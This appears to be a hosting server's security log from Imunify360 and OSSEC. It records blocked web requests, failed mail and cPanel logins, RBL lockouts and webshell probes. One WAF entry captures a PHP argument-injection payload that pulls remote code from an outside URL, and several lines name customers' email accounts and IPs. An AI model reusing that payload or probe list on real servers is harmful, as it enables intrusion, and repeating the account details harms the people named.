IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.3.9 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-includes/css/dist/block-library/style.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.142
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/themes/batiment/assets/css/bootstrap.min.css?ver=6.6.4 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.160.131.100
country_id: 1814991
description:
Jan 27 14:52:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.160.131.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.160.131.100
country_id: 1814991
description:
2026-01-27 14:52:27 dovecot_login authenticator failed for H=([117.160.131.100]) [117.160.131.100]:38216: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.194.24
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/about.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 66.56.82.17
country_id: 6251999
domain: cabe.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.90 Safari/537.36||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9694: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15260: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.2.80.242
country_id: 2464461
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/EventListener/SaveSessionListener.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.105.224.72
country_id: 1861060
description:
Jan 27 15:04:53 sv3 pure-ftpd[2513036]: (?@172.105.224.72) [INFO] New connection from 172.105.224.72


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.89
country_id: 3469034
description:
Jan 27 15:04:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.173.78
country_id: 3469034
description:
Jan 27 15:05:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.173.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.89
country_id: 3469034
description:
Jan 27 15:05:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 15:07:46 +0800] info [webmaild] 180.75.72.60 - ken@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.98.174
country_id: 1269750
description:
Jan 27 15:07:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.98.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.98.174
country_id: 1269750
description:
2026-01-27 15:07:59 dovecot_login authenticator failed for H=([27.123.98.174]) [27.123.98.174]:55274: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.27.33.174
country_id: 6252001
description:
2026-01-27 15:08:39 dovecot_plain authenticator failed for H=c-73-27-33-174.hsd1.fl.comcast.net (betracenic) [73.27.33.174]:44056: 535 Incorrect authentication data (set_id=info@pftfood.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 15:09:01 +0800] info [webmaild] 180.75.72.60 - hr@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.72.12.138
country_id: 1814991
description:
Jan 27 15:08:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.72.12.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.144.235
country_id: 1733045
description:
[2026-01-27 15:08:12 +0800] info [webmaild] 115.134.144.235 - horizon@tst-ma.com "POST /cpsess7524580043/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [60.50.199.9] != Current IP Address [115.134.144.235]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.27.33.174
country_id: 6252001
description:
Jan 27 15:08:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.27.33.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 4.35.66.245
country_id: 6252001
description:
Jan 27 15:09:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 4.35.66.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 4.35.66.245
country_id: 6252001
description:
2026-01-27 15:09:42 dovecot_login authenticator failed for H=([4.35.66.245]) [4.35.66.245]:48980: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.57.245.145
country_id: 1269750
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 15:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63298: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 15:15:55 H=([45.144.212.242]) [45.144.212.242]:62556 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 15:17:14 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.135
country_id: 2017370
description:
Jan 27 15:17:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.135
country_id: 2017370
description:
2026-01-27 15:17:42 dovecot_login authenticator failed for H=([178.178.194.135]) [178.178.194.135]:37004: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.149.195
country_id: 1733045
description:
Jan 27 15:18:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.149.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.195
country_id: 1733045
description:
2026-01-27 15:18:04 dovecot_login authenticator failed for H=([49.124.149.195]) [49.124.149.195]:36668: 535 Incorrect authentication data (set_id=ahmad.asif)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.123.118
country_id: 1269750
description:
2026-01-27 15:19:42 dovecot_login authenticator failed for H=([128.185.13.33]) [122.184.123.118]:36092: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.184.123.118
country_id: 1269750
description:
Jan 27 15:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.184.123.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/img/photos/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.156.158
country_id: 241170
description:
Jan 27 15:24:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.156.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.208.156.158
country_id: 241170
description:
2026-01-27 15:24:25 dovecot_login authenticator failed for H=(ADMIN) [185.208.156.158]:60550: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.220.90
country_id: 1269750
description:
Jan 27 15:25:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.220.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-01-27 15:25:41 dovecot_login authenticator failed for H=(dsl-tn-dynamic-137.209.22.125.airtelbroadband.in) [128.185.220.90]:46578: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.14.177.176
country_id: 6252001
domain: 34.219.81.247
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.219.81.247/azenv2.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9699: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.77.111.2
country_id: 1562822
description:
2026-01-27 15:29:24 dovecot_login authenticator failed for H=(adsl.viettel.vn) [115.77.111.2]:50166: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15267: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.197
country_id: 953987
description:
Jan 27 15:30:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-31.23.230.243.72||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.46.65.56
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-31.69.46.65.56||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.197
country_id: 953987
description:
Jan 27 15:31:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.222
country_id: 226074
description:
Jan 27 15:31:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 15:31:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - waimeng.lok@tujusetia.my [01/27/2026:07:32:19 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: waimeng.lok@tujusetia.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.222.113.1
country_id: 3923057
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/tijsverkoyen/css-to-inline-styles/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.124.96.23
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/tijsverkoyen/css-to-inline-styles HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:34:52 820410 [Warning] Aborted connection 820410 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:34:49 820404 [Warning] Aborted connection 820404 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 15:35:03 sv3 pure-ftpd[2561637]: (eminent@113.211.212.49) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 15:35:01 sv3 pure-ftpd[2561637]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.122
country_id: 798544
description:
Jan 27 15:36:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.122
country_id: 798544
description:
Jan 27 15:37:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 161.142.147.43
country_id: 1733045
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/cms-blockingpage-webui/resources/images/tmobile/general/logo_white.png?pfdrid_c=true HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 58.145.184.247
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/cms-blockingpage-webui/resources/images/tmobile/onnetsecurity/warning.png?pfdrid_c=true HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/img/testimonial.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:39:54 820663 [Warning] Aborted connection 820663 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:39:57 820678 [Warning] Aborted connection 820678 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 15:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63387: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.75
country_id: 3469034
description:
Jan 27 15:44:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.75 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 71.6.232.20
country_id: 6252001
description:
2026-01-27 15:44:26 820877 [Warning] Aborted connection 820877 to db: 'unconnected' user: 'unauthenticated' host: '71.6.232.20' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.138
country_id: 3469034
description:
Jan 27 15:44:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.138
country_id: 3469034
description:
Jan 27 15:45:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.138 has been locked due to Imunify RBL


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
Jan 27 15:45:30 sv3 sshd[2580389]: Accepted publickey for root from 10.1.14.100 port 50977 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 203.80.23.190
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:sqlmap/1.8.4#stable (https://sqlmap.org)||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 15:49:29 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 129.150.46.190
country_id: 1880251
domain: astlog.com.my
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:-dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=https://cld.pt/dl/download/58887b17-33bd-494e-983d-6b9b494045ff/link.txt||MVN:MATCHED_VAR||WPU:||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.164.220.189
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpunit/php-timer/src/Timer.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 112.135.216.4
country_id: 1227603
description:
2026-01-27 15:51:00 821202 [Warning] Aborted connection 821202 to db: 'unconnected' user: 'unauthenticated' host: '112.135.216.4' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 112.135.216.4
country_id: 1227603
description:
2026-01-27 15:51:01 821206 [Warning] Aborted connection 821206 to db: 'unconnected' user: 'unauthenticated' host: '112.135.216.4' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.30.144
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Worksheet/AutoFilter HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.90.209.45
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Worksheet/AutoFilter/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.249.66.28
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/File/File.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9705: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.77.29
country_id: 690791
description:
Jan 27 15:56:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.77.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.115
country_id: 3469034
description:
Jan 27 15:57:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:58:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15273: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - corporate_chaah@ajplantations.com.my [01/27/2026:08:00:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: corporate_chaah@ajplantations.com.my


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 16:02:25 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.123
country_id: 3077311
description:
Jan 27 16:06:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.188
country_id: 3865483
description:
Jan 27 16:06:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.188
country_id: 3865483
description:
Jan 27 16:07:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.188 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.73.161.155
country_id: 6252001
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.67||T:APACHE||RA:216.73.161.155||TA:216.73.161.155||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 16:08:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63548: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.100
country_id: 1269750
description:
Jan 27 16:08:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.100
country_id: 1269750
description:
Jan 27 16:09:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.77.138
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-09.92.71.77.138||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.65.38
country_id: 1210997
domain: appointment.visoft.com.my
description:
